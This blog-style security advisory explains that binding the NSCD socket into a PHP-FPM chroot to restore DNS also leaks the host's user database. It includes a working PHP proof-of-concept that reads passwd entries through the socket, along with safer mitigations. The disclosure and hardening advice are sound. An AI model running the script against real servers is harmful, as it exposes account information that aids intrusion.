NSCD socket in a PHP-FPM chroot leaks user database
If you configure your web server to serve PHP scripts with PHP-FPM
you have the option to execute the interpreter in a chrooted
environment to prevent scripts to access files outside a given directory tree. While this is a great security feature, it comes with some drawbacks if the PHP scripts need resources from outside the chroot to do their work.
A common example is DNS
resolution. If you try to resolve a hostname from inside a PHP-FPM
chroot, it won't succeed until you make certain locations of the file system available inside the chroot.
A common workaround suggested by some tutorials is to bind the NSCD
socket into the chroot.
root@webhost:~# mkdir -p /home/www/u000/chroot/var/run/nscd root@webhost:~# touch /home/www/u000/chroot/var/run/nscd/socket root@webhost:~# mount --bind /var/run/nscd/socket /home/www/u000/chroot/var/run/nscd/socket
This will solve the problem, and DNS
resolution will work from inside the chroot.
But since NSCD
does not just provide name resolution for domain names, but also for usernames and groups of the system, this configuration might also reveal sensitive information to the chroot.
As a proof of concept I wrote some code to demonstrate the possibility of querying user information from NSCD
out of a PHP-FPM
chroot.
- nscd_passwd.php
<?php # PoC code to demonstrate querying user information from NSCD # out of a PHP-FPM chroot. header('Content-Type: text/plain'); $u = isset($_GET['u']) ? $_GET['u'] : 'root'; $s = fsockopen('unix:///var/run/nscd/socket',-1,$en,$es); $s || die("Err $en:$es"); fwrite($s,sprintf("\x02\0\0\0\0\0\0\0%c\0\0\0%s\0",strlen($u)+1,$u)); $r = fread($s,2048); for($i=strlen($r)-2,$b='';;--$i) if($r{$i} === "\0") { if($r{$i+1} === "\0") break; echo strrev($b)."\n"; $b=''; } else $b .= $r{$i}; fclose($s); ?>
Upload this script into a PHP-FPM
chroot with an available NSCD
socket and open it in your browser. Optionally, you can pass ?u=<username>
to the script to get information on a certain user. If no username is supplied, root
will be used.
This will output the passwd
entry of the user:
/bin/bash /root root x root
To close this leak, you can configure NSCD
to not serve any database except the hosts
database by setting enable-cache
to no
for most entries in /etc/nscd.conf
. However, this might have a negative impact on your overall system performance since user information has to be retrieved from the database directly.
A better alternative is to bind libnss_dns.so.2
and /etc/resolv.conf
to the PHP-FPM
chroot instead.
For Debian 8:
root@webhost:~# mkdir -p /home/www/u000/chroot/lib/x86_64-linux-gnu /home/www/u000/chroot/etc root@webhost:~# touch /home/www/u000/chroot/lib/x86_64-linux-gnu/libnss_dns.so.2 /home/www/u000/chroot/etc/resolv.conf root@webhost:~# mount --bind /lib/x86_64-linux-gnu/libnss_dns.so.2 /home/www/u000/chroot//lib/x86_64-linux-gnu/libnss_dns.so.2 root@webhost:~# mount -o "remount,ro" /home/www/u000/chroot/lib/x86_64-linux-gnu/libnss_dns.so.2 root@webhost:~# mount --bind /etc/resolv.conf /home/www/u000/chroot/etc/resolv.conf root@webhost:~# mount -o "remount,ro" /home/www/u000/chroot/etc/resolv.conf
This will allow the interpreter to resolve domain names from inside the chroot and won't reveal the user database.